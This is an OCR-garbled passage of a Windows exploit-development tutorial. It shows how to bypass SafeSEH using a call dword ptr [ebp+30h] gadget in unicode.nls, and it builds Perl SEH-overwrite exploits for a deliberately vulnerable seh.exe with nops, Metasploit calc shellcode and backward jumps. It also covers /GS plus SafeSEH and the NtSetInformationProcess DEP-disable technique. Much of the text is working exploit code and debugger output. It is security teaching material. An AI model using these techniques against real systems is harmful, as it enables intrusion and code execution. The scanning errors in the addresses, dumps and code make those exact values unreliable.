this is not the only memory space where we can find similar instructions. If we can find a pop pop ret
instruction in a location outside the address range of a loaded module, and this location is static (because for

: example it belongs to one of the Windows OS processes), then you can use that address as well. Unfortunately,

even if you do find an address that is static, you’ll find out that this address may not be the same address across
different versions of the OS. So the exploit may only work if you are only targetting one specific version of the

08

Another (perhaps even better) way of overcoming this ‘issue’ is by looking at an other set of instructions.

call dword ptr[esp+nn] / jmp dword ptr{esp+nn] / call dword ptr{ebp+nn] / jmp dword ptr[ebp+nn] / call
dword ptr{ebp-nn] / jmp dword ptr{ebp-nn|

(Possible offsets (nn) to look for are esp+8, esp+14, esp+lc, esp+2c, esp+44, esp+50, ebp+0c, ebp+24,
ebp+30, ebp-04, ebp-Oc, ebp-18)
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An alternative would be that, if esp+8 points to the exception_registration structure as well, then you could still
look for a pop pop ret combination (in the memory space outside the range from the loaded modules) and it
would work too. Finally, you can look for “add espt8 + ret”, which would bypass SafeSEH as well.

Let’s say we want to look for ebp+30. Convert the call and jmp nstructions fo opcodes :

0:00C> a

004010ch call dword ptr[ebp+0x3C]
call dword ptrlebp+0x3C)

004010ce jmp dword ptr[ebp+tlx30}
dmp dword ptriebp+ix30]

0g40104d1

0:000> v 004010c¢h

004010ckh ££5530 call dword ptr [ebp+30h]
- 004010ce f£6530 imp dword ptr [ebp+3(h]

Now try to find an address location that contains these instructions, and is located outside of the loaded
modules/executable binary addres space, and you may have a winner.

In order to demonstrate this, we’ll use the simple code that was used to explain the /GS (stack cookie)
protection (example 1), and try to build a working exploit on Windows 2003 Server R2 SP2, English, Standard
Edition.

' #include " oo
» #include " "
C#include M-

vold GetInput (char* str, char* out)
A
‘ char bufferf{500};
try
{
strepy (buffer, str);
strcpy (out, buffer);
printf (" ", buffer);
}
catch (char * strErr)
{
printf{" . : : "y
printf{" v, strErr);

Cint main(int argc, char* argvl])

char buf2{128];
GetInput(argvil],buf2);
return 0;

This time, compile this executable without /GS and /RTec, but make sure the executable is safeseh enabled (so
/safeseh:no is not set under ‘linker’ command line options). Note : WE am running Windows 2003 server R2
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INSTITUTE

SP2 Standard edition, English, with DEP in OptIn mode (so only active for Windows core processes, which is
not the default setting on Windows 2003 server R2 SP2 . Don’t worry — we’ll talk about DEP/NX later on).

When loading this executable in ollydbg, we can see that all modules and executables are safeseh protected.

3 /safeseH Module Stanner

afeSEH OH
E

L UCSL CRY 1

We will overwrite the SE structure after 508 bytes. So the following code will put “BBBB” in next_seh and
“DDDD” in seh :

gmy Ssize=508;

CSjunk=" " x $size;
: $junk=$junk." - ";
C Sjunk=S%junk." "y
; system ("

")
Executable search path is:
ModLoad: 00400000 00406000 seh.exe
ModLoad: 7c800000 7¢8¢2000 ntdll.dil
ModLoad: 77400600 77£42000 CA\WINDOWS\system32\kernel32.dl1
ModLoad: 78520000 785¢c3000 C:\WINDOWS\WinSxS\x86 Microsoft.ve90.d1l
(c5c.c64): Break instruction exception - code 80000003 (first chance)

| eax=78600000 ebx=T7£fdb000 ecx=00000003 edx=00000020 esi=7c8897f4 edi=00151£38

i eip=T7c8la3el esp=0012fb70 ebp=0012fch4 iopl=0 nv up ei pl nz na po nc
'fcs=001b s5=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000202
. ntdll!DhgBreakPoint:

. Tc8lalel cc int 3

. 0:000> g

(c5c.cbd): Access violation - code ¢0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0012£{d41 ebx=00000000 ecx=0012{d41 edx=00130000 esi=00C00001 edi=004033a8
eip=00401Cch esp=0012fch4 ebp=0012fecec iopl=0 nv up ei pl nz na pe nc
cs=001b s8s5=00Z23 ds=0023 es=0023 fs=003b gs=0000 efl1=00010206
seh!GetInput+0xch:

5004010cb 8802 mov byte ptr [edxl}.,al ds:0023:00130000=41
P 0:000> lexchain

L 0012fee0: 44444444
1 Invalid exception stack at 42424242

ok, so far so good. Now we need to find an address to put in seh. All modules (and the executable binary) are
safeseh compiled, so we cannot use an address from these ranges.

Let’s search memory for call/jmp dword ptr[reg-+nn] instructions. We know that

opcode ff 55 30 = call dword ptr [ebp+0x30] and opcode £ 65 30 = jmp dword ptr {ebp+0x30]
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0:000> s 0100000 1 77f££££f ££f 55 30
00270pR0b £f 55 30 00 GO 00 00 9%e-f£f£ 57 30 00 00 00 00 9 .UD...... wo.....

Alternatively, you can use my own pvefindaddr pycommand plugin for immunity debugger to help finding
those addresses. The !pvefindaddr jseh command will look for all call/jmp combinations automatically and only
list the ones that are outside the range of a loaded module :

. @rig adgdr
gr Blsgdu b3l

( ~
Unedy addr s oyteide addvass af 2 Wwiil ]
esel { wodulies that are not zafessh protsctedd

titu (&)

3 poduies
luck

BBRDF & h
PERITAGN Feund 1 add
l!pvefl’ndaddr jseh

(note — the screenshot above is from another system, please disregard the address that was found for now).

Also, you can get a view on the memory map using immunitydebugger or ollydbg, so you can see where an
address belongs to.

Mermary nap
Ehi

You can also use the Microsoft vadump tool to dump the virtual address space segmenits.

Get back to our search operation. If you want to look for more/different similar instructions (basically
increasing the search scope), leave out the offset value in your search (or just use the pvefindaddr plugin in
immdbg and you’ll get all results right away):
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0:000>» s 0100000 1 77f£££f £f 55
00267643 f£f 55 ff 61 £f 54 ff 57-ff d¢ ff 58 £f cc ff f3 .U.a.T.W...X....
00270b0b  ££ 55 30 00 00 00 00 %e-~ff 57 30 00 00 00 00 9e .UO0...... Wo.....
002fbfd8 f£f 55 02 02 02 56 02 02-03 56 02 02 04 5& 02 02 VLUV LUV
00401183 f££f 55 8b ec £6 45 08 02-37 8b £9 74 25 56 68 54 .. EL WL EBVRT
004014% f££ 55 14 eb ed 8b 45 ec-8% 45 e4 8b 45 ed 8b 00 .E..E..E...
00401508 ff 55 14 eb £0 7 45 e4-01 00 (0 00 c7 45 fc fe
00401542 ££ 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d e0 75
0G40163e  ff 55 8b ec £f 7% 08 ef-de ff ff £f £7 d8 1lb <0
004016bl  £f 55 8b ec 8b 4d 08 b8-44 5a 00 00 66 39 01 74
004016f1 f£f 55 8b ec 8b 45 08 8b-48 3c 03 8 0Of b7 41 14
© 00401741 ff 55 8b ec 6a fe 68 28-22 40 00 88 65 18 40 0C
00401866 f£f S5 8b ec £f 75 14 ff-75 10 £f 75 Oc ff 75 {8
0040188 £f 55 8b ec 83 ec 10 al-28 30 40 00 83 65 f8 00
00490198f £f 55 8b ec 81 ec 28 03-00 00 a3 80 31 40 00 89

cooCCcaoocococaaa
ot
Z

bingo ! Now we need to find the address that will make a jump to our structure. This address cannot reside in
the address space of the binary or one of the loaded modules.

By the way: if we look at the content of ebp when the exception occurs, we see

* (be8.bdc): Break instruction exception - code 80000003 (first chance)
1 2ax=78600000 ebx=7ffded00 ecx=00000005 edx~=00000020 es51i=7¢8897f4 edi=00151£38

‘i eip=Tc8la3el esp=0012fb70 ebp=0Cl2fcb4 iopl=0 nv up €i pl nz na po nc
- c5=001b s3=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
' ntdll!DbgBreakPoint :

.1 7cBla3el cc int 3

5 0:000> g

. (be8.bdc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling,

' This exception may be expected and handled.

©eax=0012£d41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8

" eip=004C10chb esp=0012fcbd ebp=0012feec iopl=0 nv up el pl nz na pe nc
cs=001b s55=0023 ds=0023 es=0023 f£fs5=003b gs=0000 efl=00010206

" seh!GetInput+0xch:

1 004010ch 8802 mowv byte ptr [edxl,al ds:0023:00130000=41

. 0:000> d ebp

. 0012feec Tc £f 12 00 79 11 40 00-f1 29 33 00 fc fe 12 CO |...y.8..)3.....

250012fefc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAARAAA
7L 0012£f£0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AARAARAAAAAAAAAA
D 0012£Ff1c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAARAAAA

[ 0012££2¢c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAABRABAAAAAARAR

gl0012ff3c 4% 41 41 41 41 41 41 431-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAARA
001Z2ffdc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 4% 41 AADRAARAARAAAAARAA
L 0012fFF£5¢ 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAARAAAAARAAAAAR

Back to the search results. All addresses (see output of the search operation earlier) that start with 0004 cannot
be used (because they belong to the binary itself), and only 0x00270b0b will make the jump we want to take. ..
This address belongs to unicode.nls (and not to any of the loaded modules). If you look at the virtual address
space for multiple processes (svchost.exe, w3wp.exe, csrss.exe etc), you can see that unicode.nls is mapped in a
lot of processes (not all of them), at a different base address. Luckily, the base address remains static for each
process. For console applications, it will always be mapped at 0x00260000 (on Windows 2003 Server R2
Standard SP2 English, which makes the exploit reliable. On Windows XP SP3 English, it is mapped at
0x00270000 (so the address to use on XP SP3 would be 0x00280b0b)
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(again, you can use my own pvefindaddr pycommand, which will do all of this work automatically)

The only issue we may need to deal with is the fact that our “call dword ptr{ebp+30h]™ address from unicode.nls
starts with a null byte, and out input is ascii (null byte = string terminator) (so we won’t be able to put our
shellcode after overwriting seh. .. but perhaps we can put it before overwriting the SE structure and reference it
anyway (or, alternatively, we could try to jump ‘back’ instead of forward. Anyways, we’ll see). If this would
have been a unicode exploit, it would not have been an issue (00 00 is the string terminator in unicode, not 00)

Let’s overwrite nextseh with some breakpoints, and put 0x00270b0b in seh :

© $qunk=" " x 508;
c $junk=$ijunk.® ;
$junk=Sjunk.pack{'V',=x00270b0b} ;

. Executable search path is:

{ ModLoad: 00400000 00406000 seh.exe

. ModLoad: 7¢800000 7c8c2000 ntdlil.dll

- ModLoad: 77240000 77£42000 C:\WINDOWS\system32\kernel32.d11

P ModLeoad: 78520000 785c32000  C:A\WINDOWS\WinSx5\x86 Microsoft.VC90.CRT_1...dll
Q(a94.c34): Break instruction exception - code 80000003 (first chance)

| 2eax=T78600000 ebx=7{fdp000 ecx=0000000% edx=00000020 esi=T7c8897f4 edi=00151f38

{eip=T7c8lalel esp=0012fb70 ebp=0012fch4 iopl=0 nv up el pl nz na po nc
D es=001b s5=0023 ds=0023 es=0023 f£s=003k gs=0000 efl=00000202
{ ntdll!DbgBreakPoint:

i 7c8la3el cc int 3

F0:000> g

{ {a%4.c34): Access violation - code cQ000005 (first chance)

| First chance exceptions are reported before any exception handling.

! This exception may be expected and handled.

L eax=0012£d41l ebx=00000000 ecx=0012fd41l edx=00130000 esi=00000001 edi=004033a8

L eip=004010ch esp=0012fchd ebp=001l2feec iopl=0 nv up ei pl nz na pe nc
cs=001b ss5=0023 ds=0023 es=0023 £s=003b gs=0000 "efl=00010206
sehlGetInput+0xchb:
004010ch 8802 mov byte ptr [edx],al ds:0023:00130000=41

. 0:000> 'exchain
0012feel: 00270b0b
Invalid exception stack at ccccccecc

0:000> ¢
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{a94.c34): Break instruction exception - code 800600003 (first chance)
eax=00000000 ebx=00000000 ecx=00270b0b edx=7cB828786 esi=00000000 edi=00000000

eip=0012feel esp=0012f8e8 ebp=0012{90c icpl=0 nv up &i pl zr na pe nc
c5=001b ss8=0023 ds=0023" es=0023 £fs5=003b ¢s=0000 cf1=0000024¢
0012feel cc int 3

0:000> d eip

0012feel cc cc cc cc Ob Ob 27 00-0C 00 00 00 7c ££ 12 00 ...... . ...
0012fef0 7% 11 40 00 £1 29 33 00-fc fe 12 00 41 41 41 41 y.&..)3..... AARA
0012££00 41 41 41 41 41 41 4} 41-41 41 41 41 41 41 41 41 ARARAARAAAAAAAAA
0012££f1C 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AARAAAAAAAAAAAAA
001Z££20 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAARARRAAAAAAA
0012££30 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAARARAAAAAAAARAA
OCl2££40 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AARAAAARAAARAARAAAA
. O012f£50 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAARAAAARARARAA
L 0:000> 4 ,

L COL2££f60 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 4% AAAAAAAARARAAAAA
S 0012££700 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 4% AAAARAAAAARRAAAARA
- 0012f£8C 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAARAAAAAAAAAAAA
L Q012££90 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAARAARAARARARARA
L 0012ffa0 41 41 41 41 41 41 41 41~-41 41 431 43 41 41 41 41 AAAAABAAAAABAAAA
. 0012ffb0 41 41 41 41 41 41 41 41-4% 41 41 41 41 41 41 41 AAAARAAAAARAAAAA
- 0012ffc0O 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAARAAAA
!, 0012££d0 41 41 41 41 41 41 41 21-41 21 41 41 41 41 41 41 AAAAAARAABARAAAA

The new (controlled) SEH chain indicates that we have property overwritten nseh and seh, and after passing the
exception to the application, the jump was made to our 4 byte jumpcode at nseh. (4 breakpoints in our scenario).

When stepping through the instructions after the exception occurred (‘t” command in windbg), we can see that

the validation routines were executed (by ntdll}, the address was determined to be valid {call
ntdil!RtlIsValidHandler) and finally the handler was executed, which brings us back to the nseh (4 breakpoints)

. eax=00000000 ebx=0000000C ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000

» eip=7c828770 esp=0012f8Ff0 ebp=0012£f%0c icpl=0 nv up ei pl zr na pe nc

tes=001b  ss=0023 ds=0023 es=0023 f{s=003b gs=0000 efl1=0000024¢

. ntdll!ExecuteHandler2+0x24;

Q Tc828770 ffdi call ecx {00270b0b}

1 0:000>

P eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000

f eip=00270blb esp=0012f8ec ebp=0012£90c iopl={ nv up ei pl zr na pe nc

! 0s5=001b 85=00223 ds=0023 es5=0023 fs=003b gs=0000 efl=00000246

: 00270b0b ££5530 call dword ptr [ebp+30hl ss:0023:0012£93¢c=0012fec0

- 0:000>

- eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=0012feel esp=0012f8e8 ebp=0012£30c iopl=0 nv up ei pl zr na pe nc
cs=001lk s85=0023 ds=0023 es=0023 fs5=003b gs=0000 efi=00000246

S 0012feel cc int 3

When [ooking at eip (see previous windbg output), we can see that our “Junk” buffer can be easily referenced,
despite the fact that we could not overwrite more memory after overwriting seh (because it contains a null byte).
So we still may be able to get a working exploit. The shellcode space will be more or less limited (500 bytes or
s0)... but it should work.
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So if we replace the A’s with nops+shellcode-+junk, and make a jump into the nops, we should be able to take
control. Sample exploit (with breakpoints as shellcode) :

my $size=508;

S my $nops = " " ox 24;
my $shellcode=" "
$junk=$nops.S$shellcode;
C $junk=8junk." " ox {$size-length{$nops.$shellcode));
$junk=sjunk." ":; #nseh, jump 26 hytes
¢ $junk=$junk.pack (*V',0x00270b0b) ;
Cprint U * . length($junk)." ";

Posystem ("

: ")

| Symbol search path is: SRV*C:\windbg symbols*http:

f Executable search path is:

| ModLoad: 00400000 00406000 seh.exe

| ModLoad: 7¢800000 7¢8c2000 ntdil.dll

| ModLoad: 77e40000 77f42000 C:\WINDOWS\system32\kernel32.d1l

i ModLoad: 78520000 785¢3000 C:\WINDOWS\WinSxs\x86 ...4148 x-ww D4S5ACAENMSVCRS0.d11
§ {(6£8.%ac): Break instruction exceptiocn - code 80000003 (first chance)

| @ax=78600000 ebx=7££d9000 ecx=00000005 edx=00000020 esi=7c8897£f4 edi=00151£38

eip=T7c8lalel esp=0012fb70 ebp=0012fchd iopl=0 nv up ei pl nz na po nc

f 0s=001b s$s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DhgBreakPoint:

i 7c¢8la3el cc int 3

L 0:000> g

(6£8.%ac): Access violation - code ¢0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0012£d380 ebx=00000000 ecx=0012fd%C edx=00130000 esi=00000001 edi=004033a8

| eip=004010ch esp=0012fcbd ebp=0012feec iopl=l nv up ei ng nz na pe nc
{cs=001lb ss3=0023 ds=0023 es=0023 £fs=003b gs=0000 2f1=0001028¢6

! seh!GetInput+0xch:

{ 004010ch 8802 mov byte ptr [edx]),al ds:0023:00130000=41

{0:000> texchain

L 0012feel: 00270b0b

i Invalid exception stack at 20%0laeb

£ 0:000> g

| (6£8.%ac): Break instruction exception - code 80000003 (first chance)

{ @ax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 odi=00000000

eip=0012£ff14 esp=0012£8e8 ebp=0012£90c iopl=0 nv up ei pl zZr na pe nc
- cs=001b ss=0023 ds=0023 es=0023 £5=003b gs=0000 ef1=00000246
. 0012££14 cc int 3

1 0:000> d eip

L 0012FF14 cc cc 90 90 90 S0 90 90-50 90 90 90 90 90 90 90 ...,
L 0012f£f24 90 90 90 90 90 90 90 90-90 90 S0 90 90 90 90 90 ................
S 0012££34 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ... ....i......
i D012fFf44 90 S0 90 90 90 90 90 90-90 90 S0 90 90 S0 90 90 ...
CCO12f£54 90 S0 90 S0 90 90 90 $0-90 90 S0 90 90 %0 90 90 ................
L QO12f£64 90 90 S0 90 90 90 90 80-80 90 90 90 90 90 S0 90 ...,
S QO0L2Zf££f74 9C 90 90 90 S0 90 90 90-90 9C 90 90 90 90 90 90  ........i..ii.i....
L 0012fF84 90 90 90 90 90 90 90 90-90 90 90 90 390 90 90 90  ......verinon...

pwned ! (that is, if you can find a way around the shellcode corruption when jumping forward :-()

Well, what the heck, let’s use 2 backward jumps to overcome the corruption and make this one work :
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- one jump (back) at nseh (7 bytes),

- execute a jump back of 400 bytes (-400 (decimal) = {ffffe70 hex)). The number of nops before putting the
shellcode was set to 25 (because the shellcode will not properly run otherwise)

- we’ll put the shellcode in the payload before the SE structure was overwritten

omy $size=508; f#hefore SE structure is hit

‘rny Snops = " " x 25; #2Z5 needed to align shellcode
‘# windows/evec - 144 bytes
# http:

. # Encoder: x86/shikata ga nai
i # EXITFUNC=seh, CMD=calc
I my $shellcode="

T 1.
14

53junk=%nops.S$shellcode;

$junk=83unk. " " x ($size-length{Sncps.Sshellcode)-5); #5 bytes = length of jmpcode
¢ $junk=$junk." ": #jump back 400 bytes
©. $junk=S$3unk." "; 4#jump back 7 bytes (nseh)
" $3unk=$junk.pack ('V',0x00270k0b); #seh
f print " : " . length($junk)."™ ";
i system (" - ")

Calculator
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Re-compile the executable with /GS and /Safeseh (so both protections at the same time) and try the exploit
again.

You’ll notice that the exploit fails, but that’s only because the offset to overwriting the SE structure is different
(because of the security cookie stuff that goes on). After changing the offset and moving the shellcode a little
bit around, this fine piece of code will do the trick again (Windows 2003 Server R2 SP2 Standard, English,
application compiled with /GS and /Safeseh, no DEP for seh.exe)

: my S$size=516; #new offset to deal with GS

Cmy Snops = " " x 200; #moved shellcode a little bit
4 windows/exsc -~ 144 bytes
4 http:

. # Encoder: x86/shikata_ga_nai
. # EXITFUNC=seh, CMD=calc
imy $shellcode="

1 P . LU
T ;

$junk=3%nops.$shellcode;

$junk=$junk."” " x {$size-length($nops.$shellcode)-5);
S$junk=%junk." - "; #jump back 400 bytes
$junk=§junk." ‘ ";  #jump kack 7 bytes

$iunk=$junk.pack ('V"',0x00270b0b) ;

print " . " . length($iunk)." '";
j system{" ")

SEHOP

A document explaining a technique to bypass SEHOP was recently released and can be found at
http:/fwww.sysdream.comyarticles/sehop en.pdf
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EP

In all the examples we have used so far, we have put our shelicode somewhere on the stack and then attempted
to force the application to jump to our shellcode and execute it. Hardware DEP (or Data Execution Prevention)
aims are preventing just that... It enforces non-executable pages (basically marks the stack/part of the stack as
non-executable), thus preventing the execution of arbitrary shellcode.

Wikipedia states “DEP runs in two modes: hardware-enforced DEP for CPUs that can mark memory pages as
nonexecutable (NX bit), and software-enforced DEP with a limited prevention for CPUs that do not have
hardware support. Software-enforced DEP does not protect from execulion of code in data pages, but instead
Jrom another type of attack (SEH overwrite).

DEP was introduced in Windows XP Service Pack 2 and is included in Windows XP Tablet PC Edition 2005,
Windows Server 2003 Service Pack I and later, Windows Vista, and Windows Server 2008, and all newer
versions of Windows. *

In other words : Software DEP = Safeseh ! Software DEP has nothing to do with the NX/XD bitatall ! (You
can read more about the behaviour of DEP here http:/support.anicrosoft.comy/kb/875352 and here:
hitp://www.uninformed.org/?7v=28&a=4)

When the processor/system has NX/XD support/enabled, then Windows DEP = hardware DEP. If the processor
does not support it, you don’t get DEP, but only safeseh (when enabled).

The Data Execution Prevention tabsheet in Windows will indicate whether hardware support is enabled or not.

When the processor/system does not have NX/XD support/enabled, then Windows DEP = software DEP. The
Data Execution Prevention tabsheet in Windows will indicate this :

The two big processor vendors have implemented their own non-exec page protection (hardware DEP) :
- The no-execute page-protection (NX) processor was developed by AMD.

- The Execute Disable Bit (XD) feature was developed by Intel.It is important to understand that, depending on
the OS version/SP level, the behaviour of software DEP can be different. Where software DEP was enabled
only for core Windows processes in earlier versions of Windows, and client versions of the operating system
(and can support DEP for applications that are enabled for protection or have a flag set), this setting has been
reversed in later version of the Windows server OS, where everything is DEP protected, except for the
processes that are manually added to the exclusion list. It’s quite normal that client OS versions use the Optln
method, because they need to be able to run all sorts of software packages which may or may be DEP
compatible. On servers, 1it’s more safe to assume that applications will get properly tested before being deployed
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to a server (and if things break, they can still be put in the exclusion list). The default DEP setting on Windows
2003 server SP1 is OptOut. This means that, by default, all processes are protected by DEP, except the ones that
are put in the exception list. The default DEP setting on Windows XP SP2 and Vista is OptIn (so only system
processes and applications are protected).

Next to optin and optout, there are 2 more modes (boot options) that affect DEP :

- AlwaysOn : indicates that all processes are protected by DEP, no exceptions). In this mode, DEP cannot be
turned off at runtime.:

- AlwaysOff : indicates that no processes are protected by DEP. In this mode, DEP cannot be turned on at
runtime.On 64bit Windows systems, DEP is always turned on and cannot be disabled. Keep in mind that
Internet Explorer 1s still a 32bit application (and is subject to the DEP modes described above.)

NX/XD bit

Hardware-enforced DEP enables the NX bit on compatible CPUs, through the automatic use of PAE kernel in
32-bit Windows and the native support on 64-bit kernels. Windows Vista DEP works by marking certain parts
of memory as being intended to hold only data, which the NX or XD bit enabled processor then understands as
non-executable. This helps prevent buffer overflow attacks from succeeding. In Windows Vista, the DEP status
for a process, that is, whether DEP is enabled or disabled for a particular process can be viewed on the
Processes tab in the Windows Task Manager.

The concept of NX protection is pretty simple. If the hardware supports NX, if the BIOS is configured to enable
NX, and the OS supports it, at least the system services will be protected. Depending on the DEP settings, apps
could be protected too. Compilers such as Visual Studio C++ offer a link flag (/NXCOMPAT) that will enable
applications for DEP protection.

When running the exploits from previous chapter against a Windows 2003 Server (R2, SP2, standard edition)
that has NX (Hardware DEP) enabled, or NX disabled and DEP set to OptOut, these exploits stop working
(because our 0x00270b0b/0x00280b0b address failed the ‘check if this is a valid handler’ test, which is what
software DEP does, or just fails because it attempts to execute code from the stack (which is what NX/XD HW
Dep attempts to prevent) . If you add our bittle seh.exe vulnerable application to the DEP exclusion list, the
exploit works again (after we change the call dword pir[ebp+30h] address from 0x00270b0b to 0x00280b0b).

So DEP works fine.

Bvpassing (HW) DEP

As of today, there are a couple of well known techniques to bypass DEP :

ret2libc (no shellcode)

This technique is based on the concept that, instead of performing a direct jump to your shellcode (which will
be blocked by DEP), a call to an existing library/function is made. As a result, the code in that library/function
is executed (optionally taking data from the stack as argument) and used as your ‘malicious code’. You
bastcally overwrite EIP with a call to an existing piece of code in a library, which triggers for example a
“system” command “cmd”. So while the NX/XD stack and heap prevent arbitraty code execution, the library
code itself is still executable and can be abused. (Basically, you return into a library function with a fake call
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frame). It’s clear that this technique somewhat limits the type of code that you want to execute, but if you can
live with this, it will work. You can read more about this technique at
hitp://www.infosccwriters.comy/text_resources/pdf/return-to-libe.pdf and at http://securitytube.net/Buffer-
Overflow-Primer-Part-8-(Return-te-Libe-Theory)-video.aspx '

ZwProtectVirtualMemory

This 1s another technique that can be used to bypass hardware DEP. Read more at http://woct-
blog.blogspot.com/2005/01/dep-evasion-technique.html. This technique is based on ret2libc, in essence it
chains multiple ret2libc functions together in order to redefine parts of memory as executable. In this scenario,
the stack is set up in such a way that, when a function call returns, it calls the VirtualProtect function. One of
the parameters that is passed on to this function is the return address. If you set this return address to be for
example a jmp esp, and you have your shellcode sitting at ESP when the VirtualProtect function returns, you’ll
have a working exploit. Other parameters are the address of the shellcode (or memory location that needs to be
set executable (the stack for example)), the size of the shellcode, etc... Unfortunately, returning into
VirtualProtect requires you to be able to use null bytes (which can be a bummer if you are working with string
based buffers/ascii payload). WE won’t further discuss this technique in this document.

Disable DEP for the process {NtSetinformationProcess)

Because DEP can be put in different modes (optin, optout, etc), the OS (ntdll) needs to be able to turn off DEP
on a per process basts, at runtime. So there must be some code, a handler/api, that will determine whether NX
must be enabled or not, and optionally turn off NX/XD, if required. If a hacker can take advantage of this ntdll
API, NX/Hardware DEP protection could be bypassed.

The DEP settings for a process are stored in the Flags field in the kemel (KPROCESS structure). This value can
be queried and changed with NtQueryInformationProcess and NtSetInformationProcess, with information class
ProcessExecuterlags (0x22), or with a kernel debugger.

Enable DEP and Run seh.exe through a debugger. The KPROCESS structure fooks like this (WE’ve omitted all
non-relevant pieces) :

| 0:000> dt nt! KPROCESS -r
! ntdll!_KPROCESS

+0x0€b Flags : 7KEXECUTE_OPTIONS
+0x000 ExecutebDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit

+0x000 ExecutebispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits

The KPROCESS structure for the seh.exe process (starts at 0x00400000) contains these values :

0:000> dt nt! KPROCESS 00400000 -
| ntdll!_KPROCESS
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+0x000 Header :  DISPATCHER HEADER

+0x06b Flags : _KEXECUTE _OPTIONS
+0x000 ExecuteDisable : Oyl
+0x000 ExecuteEnable : Oy0
+0x000 DisabieThunkEmulation : 0y0
+0x000 Permanent : Oy0

+0x000 ExecuteDispatchEnable : 0y0
+0x000 ImageDispatchEnable : 0Oyl
+0x0C0 Spare : Gy00

(again, non-relevant pieces were left out)

“ExecuteDisable” is set when DEP is enabled. “ExecuteEnable” is set when DEP is disabled. The “Permanent™
flag, when set, indicates that these settings are final and cannot be changed.

In essence, this DEP bypass technique calls the system functions that will disable DEP, and then returns to the
shellcode. In order to be able to do so, you need to be able to set up the stack in a special way... You’ll
understand what WE mean in just a few.

The first thing that needs to happen is a “call function NtSetInformationProcess” (which resides in ntdll’s
LdrpcCheckNXCompatibility routing), When this function is called (with information class
ProcessExecuteFlags (0x22)), and the MEM _EXECUTE _OPTION_ENABLE flag (0x2) is specified, DEP will
be disabled. In short, the function call looks like this (copied from Skape/Skywing’s paper) :

. ULONG ExecuteFlags = MEM EXECUTE GPTION_ENABLE;
! NtSetInformationProcess (

: NtCurrentProcess (),

ProcessExecuteFlags,

&ExecuteFlags,
sizeof {ExecuteFlags)):

In order to initiate this function call, you can use a couple of techniques. One possibility would be to to use a
ret2libc method, The flow would need to be redirected to the NtSetlnformationProcess function. In order to feed
it the correct arguments, the stack would need to be set up to contain the correct values. The drawback of this
scenario is that you would need to be able to use a null byte in the attack buffer.

Another possibility would be to take advantage of another set of existing code in ntdll, which will disable NX
support for the process, and transfer control back to the user-controlled buffer. You will still need to be able to
set up the stack to do this, but you won’t need to be able to control the arguments.

Please note that this technique can be very OS version specific. It is a lot easier to use this technique against a
Windows XP SP2 or SP3 or Windows 2003 SP1 than it is with Windows 2003 SP2,

Disabling DEP (Windows XP / Windows 2003 SP1) : demonstration

In order to disable NX/HW DEP on Windows XP, the following things need to happen :
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- eax must be set to 1 (well, the low bit of eax must be set Lo i) and then the function should return (instructions

such as “mov eax,1 / ret” - “mov al,0x1 / ret” — “xor eax,eax / inc eax / ret” — etc will do). You’ll see why this
needs to happen in a minute .

- jump to LdrpCheckNXCompatibility, where the following things happen :
(1)setesito2
(2) see if zero flag is set (which is the case if eax contains 1)

(3) a check is made whether the [ow byte of eax contains 1 or not. If it does, a jump is made to another piece of
code in LdrpCheckNXCompatibility

(4) a local variable is set to the contents of esi. (ESI contains 2 — see step( (1), so this variable will contain 2)
(5) Jump to another piece of code in LdrpCheckNXCompatibility is made

(6) A check is made to see if this local variable contains 0. It contains 2 (see step 4), so it will redirect flow and
jump to another piece of code in LdrpCheckNXCompatibility

(7) Here, a call to NtSetInformationProcess is made, with the ProcessExecuteFlags information class. The
processinformation parameter pointer is passed, which was previously initialized to 2 (sce step 1 and 4). This
results in NX being disabled for the process.

(8) At this location, a typical function epilogue is executed (saved registers are restored and leave/ret
instructions are called).

In order to get this to work, you need to know 3 addresses, and they need to be placed at very specific places on
the stack :

- set eax 1o 1 and return. You need to overwrite FIP with this address.

- address of start of cmp al,0x1 inside ntdl1!LdrpCheckINXCompatibility. When eax is set to 1 and the function
returns, this address need to be next in line on the stack (so it is being put in EIP). Pay attention to the “ret”

instruction from previous step. If there is a ret + offset, you may need to apply this offset in the stack. This will
make the flow jump to the function that will disable NX and then returns. Just step through the exploit and see

where 1t retums at.
- jump fo your shellcode (jmp esp, etc). When the “disable NX” returns, this address must be put in EIP,

Furthermore, ebp must point to a valid, writable address, so the value (digit ‘2°) can be stored (This variable
